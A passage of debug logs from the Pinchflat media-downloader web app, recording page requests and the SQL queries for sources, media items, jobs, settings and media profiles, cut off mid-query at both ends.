livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:03:08.724 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:08.725 [debug] QUERY OK source="media_items" db=0.2ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 06:03:08.726 [debug] QUERY OK source="media_items" db=0.7ms idle=3.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:03:08.726 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:08.727 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 06:03:08.728 [debug] QUERY OK source="media_items" db=0.8ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:03:08.730 [info] Sent 200 in 12ms 06:03:08.886 [info] GET /sources/31/media/141299 06:03:08.887 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141299", "source_id" => "31"} Pipelines: [:browser] 06:03:08.888 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=162.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 06:03:08.889 [debug] QUERY OK source="tasks" db=0.4ms idle=163.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141299] 06:03:08.890 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=162.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:08.891 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=162.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7264] 06:03:08.892 [debug] QUERY OK source="settings" db=0.2ms idle=163.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.892 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.892 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:08.893 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:08.894 [info] Sent 200 in 8ms 06:03:09.050 [info] GET /sources/31/media/141080 06:03:09.051 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 06:03:09.052 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=160.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 06:03:09.053 [debug] QUERY OK source="tasks" db=0.3ms idle=160.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141080] 06:03:09.053 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=160.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:09.055 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=161.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7248] 06:03:09.055 [debug] QUERY OK source="settings" db=0.1ms idle=162.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.056 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.056 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.057 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:09.058 [info] Sent 200 in 8ms 06:03:09.203 [info] GET /sources/30/media/141039 06:03:09.203 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141039", "source_id" => "30"} Pipelines: [:browser] 06:03:09.204 [debug] QUERY OK source="media_items" db=0.4ms idle=149.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 06:03:09.206 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=149.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141039] 06:03:09.207 [debug] QUERY OK source="sources" db=1.2ms idle=149.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:09.208 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=151.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7246] 06:03:09.209 [debug] QUERY OK source="settings" db=0.4ms idle=151.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.210 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.212 [debug] QUERY OK source="settings" db=0.4ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.214 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:09.220 [info] Sent 200 in 16ms 06:03:09.368 [info] GET /sources/35/edit 06:03:09.368 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 06:03:09.370 [debug] QUERY OK source="sources" db=0.5ms idle=160.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:03:09.371 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=160.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:03:09.372 [debug] QUERY OK source="settings" db=0.5ms idle=159.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.373 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=158.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.375 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=68.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.383 [info] Sent 200 in 14ms 06:03:09.532 [info] GET /sources/new 06:03:09.532 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 06:03:09.533 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=162.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:03:09.534 [debug] QUERY OK source="settings" db=0.4ms idle=162.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.535 [debug] QUERY OK source="settings" db=0.4ms idle=162.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.536 [debug] QUERY OK source="settings" db=0.3ms idle=162.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.537 [debug] QUERY OK source="settings" db=0.2ms idle=162.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.538 [debug] QUERY OK source="settings" db=0.0ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.540 [info] Sent 200 in 7ms 06:03:09.686 [info] GET /sources/32 06:03:09.686 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 06:03:09.687 [debug] QUERY OK source="sources" db=0.2ms idle=152.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:09.687 [debug] QUERY OK source="media_profiles" db=0.2ms idle=151.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:03:09.688 [debug] QUERY OK source="tasks" db=0.2ms idle=151.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [32, "executing", "available", "scheduled", "retryable"] 06:03:09.688 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=150.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7276] 06:03:09.688 [debug] QUERY OK source="settings" db=0.1ms idle=150.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.689 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.689 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.690 [debug] QUERY OK source="sources" db=0.2ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:09.691 [debug] QUERY OK source="media_items" db=0.5ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 06:03:09.692 [debug] QUERY OK source="media_items" db=0.8ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour 